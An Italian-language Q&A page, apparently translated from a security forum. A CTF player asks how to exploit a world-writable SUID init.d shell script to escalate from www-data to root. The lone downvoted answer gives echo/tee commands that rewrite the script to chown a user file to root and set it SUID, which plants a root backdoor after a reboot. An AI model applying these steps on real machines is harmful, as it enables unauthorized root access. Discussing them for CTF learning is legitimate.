Come utilizzare uno script SUID sh per ottenere l'escalation dei privilegi?

3

Come utente di www-data (utente non privilegiato) ho trovato questo script di shell SUID, scrivibile a livello mondiale:

www-data@Cisco:/home/cripto$ ls -al /etc/init.d/admin
-rwsr-xrwx 1 root bob 233 Nov 12 13:09 /etc/init.d/admin

Fa parte di una macchina CTF. Il contenuto è banale, non fa nulla di utile (sembra che sia solo un modello standard):

#!/bin/sh
# /etc/init.d/admin


case "$1" in
   start)
    echo "[i] Start admin Area"


    ;;
   stop)
    echo "[i] Stop admin Area"

        ;;
   *)
    echo "Usage: /etc/init.d/admin {start|stop}"
    exit 1
    ;;  
esac
exit 0

Ma sospetto che questo script possa aiutarmi a elevare i miei privilegi. Ho letto su di esso qui:

Pericoli degli script della shell SUID

e qui

Sfruttare init.d per divertimento e profitto

Ma:

  • Non è possibile riavviare la macchina (è stata la mia prima idea, modificare lo script in modo da creare una shell privilegiata in / tmp e forzare il riavvio)
  • Il parametro posizionale $ 1 sembra non essere iniettabile (ho cercato di ingannare il caso "$ 1" passando argomenti diversi dalla riga di comando, come ./admin "hi; id" e cose simili, senza alcun risultato)

Mi chiedo se ci siano alcune variabili d'ambiente che potrei sfruttare. O qualche tipo di manomissione che potrei forzare a manipolare la variabile IFS. Qualche idea su come questo tipo di script SUID potrebbe essere sfruttabile?

    
posta Juanan 24.01.2018 - 09:37
fonte

1 risposta

-1

È possibile fare più cose su questo file per aiutarti ad andare oltre. Per modifica puoi fare quanto segue aggiungere al file il seguente

echo '#!/bin/sh'|tee admin && echo 'chattr -i /home/(your user)/(file of your chosing)'|tee -a admin

echo 'chown root:root /home/(Your User)/(file you create)' | tee -a admin && echo 'chmod 4755 /home/(your user)/(Your file)'|tee -a admin

Quindi nella directory home dell'utente creare un semplice file c su setgid e setguid. Compilare il nome elencato nello script sopra e quindi riavviare. Questo eseguirà il file e cambierà il proprietario in root con guid set.

Quindi è semplice ./file e quindi divertente.

    
risposta data 23.09.2018 - 23:25
fonte

Leggi altre domande sui tag